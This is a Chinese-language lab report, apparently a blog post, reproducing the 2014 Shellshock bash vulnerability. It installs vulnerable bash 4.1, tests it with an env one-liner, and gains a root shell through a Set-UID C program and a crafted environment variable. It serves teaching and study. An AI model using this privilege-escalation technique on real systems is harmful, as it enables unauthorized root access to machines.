Linux 《ShellShock 攻击实验》实验报告

image.png

介绍

wiki: Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。

环境搭建

  • 下载
$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz

使用非 root 用户登录,这里使用 ubuntu 用户,然后切到 root 权限安装4.1版 bash。

  • 解压并进入目录
$ tar xf bash-4.1.tar.gz && cd bash-4.1
  • 配置
$ ./configure
  • 构建
$ make && make test
  • 安装
$ make install
  • 删除旧 bash 软连接
$ rm /bin/bash
  • 创建新 bash 软连接
$ ln -s /usr/local/bin/bash /bin/bash

删除原来的 bash 软连接,并创建新的软连接,到目前为止,环境已经搭建完成。

测试

  • 退出 root 用户
$ exit
  • 检测是否存在 shellshock 漏洞
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test

如果输出 vulnerable,说明 bash 有漏洞。

shellshock漏洞说明

简单了解下 bash 自定义函数,只需要函数名就能够调用该函数。

  • bash 自定义函数
$ export foo='() { :; }; echo Hello World'
$ bash
$ Hello World
  • bash 对应的环境变量
KEY = foo
VALUE = () { :; }; echo Hello World

bash 读取了环境变量,在定义 foo 之后直接调用了后面的函数。一旦调用 bash,自定义的语句就直接触发。

重现shellshock攻击

通过攻击 Set-UID 程序来获得 root 权限。

  • 创建软连接,让 /bin/sh 指向 /bin/bash
$ sudo ln -sf /bin/bash /bin/sh
  • 创建 /home/ubuntu/shock.c,内容如下
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
void main()
{
    setuid(geteuid()); // 设置real uid等于effective uid
    system("/bin/ls -l");
}
  • 切换 root 用户编译 shock.c
$ sudo su && gcc -o shock shock.c
  • 设置编译后的 shock 所有者为 root
$ chmod u+s shock

hack 过程

  • 切换 ubuntu 用户
$ exit
  • 执行 shock
$ export foo='() { :; }; bash'
$ ./shock
$ root@VM-2-14-ubuntu:/home/ubuntu

成功拿到 root 用户权限。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值